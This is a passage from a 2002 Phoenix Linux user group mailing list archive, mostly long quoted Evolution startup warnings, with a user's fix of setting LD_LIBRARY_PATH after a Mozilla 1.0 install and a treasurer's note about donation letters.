Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > I have done the google search, but have come up empty handed. anyone have > > any suggestions for a possible fix? > > > > BTW i am running evolution-1.0.3-4. > > > > slr > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 17:59:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 06 Jun 2002 10:59:52 -0700 Subject: update on stuff Message-ID: <5.1.0.14.0.20020606105615.00a3adf0@localhost> I just thought that I would let everyone know that my time has been freed up a bit from all the stuff that I have been involved with. This means more time to AZOTO. One thing that I haven't done because of my time being short is sending out tax donation letters. I sincerely apologize for those that did not go out last year. The move to free up my time has taken many months and many broken bad habits. So, without much more hand slapping, I will be reviewing the items and dollars that were donated and sending such donation letters in the next week. I may be asking individuals for their mailing addresses if I don't have them. Thanks for your patience and understanding. Kimi Adams, Treasurer AZOTO 602-375-5363 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 19:15:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 12:15:56 -0700 Subject: mozilla 1.0 In-Reply-To: References: Message-ID: <200206061215.56107.zen2now@qwest.net> sweet, someone is interested!! the problem seem to be with wombat not finding libplc4.so, which was there through a symlink: ln -s /usr/lib/mozilla-1.0.0 /usr/lib/mozilla but wombat was still not a happy, well "wombat". so i added export LD_LIBRARY_PATH=/usr/lib/mozilla-1.0.0:/usr/local/mozilla:$LD_LIBRARY_PATH to my .bash_profile. then sourced the .bash_profile, ran oaf-slay to kill oafd and then killev, and started evolution with success. the key was testing all components to find the broken one, hehe. slr On Thursday 06 June 2002 11:35 am, Matt Alexander wrote: > And the problem was...? > > On Thu, 6 Jun 2002, slr wrote: > > forget it, problem resolved. > > > > slr > > > > On Thursday 06 June 2002 09:07 am, slr wrote: > > > good morning all, > > > > > > i just installed mozilla 1.0 from rpm's which i > > > downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i > > > am running KDE 3.0, mozilla seems to run fine but now when i try to > > > open Evolution i get these warnings: > > > > > > [xxx@xxx xxx]$ evolution > > > > > > evolution-shell-WARNING **: Could not start up component for > > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent. > > > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent > > > > > > evolution-shell-WARNING **: Could not start up component for > > > OAFIID:GNOME_Evolution_Mail_ShellComponent. > > > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > > OAFIID:GNOME_Evolution_Mail_ShellComponent > > > > > > evolution-shell-WARNING **: Could not start up component for > > > OAFIID:GNOME_Evolution_Calendar_ShellComponent. > > > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > > OAFIID:GNOME_Evolution_Calendar_ShellComponent > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: > > > e_folder_type_registry_get_handler_for_type() -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > 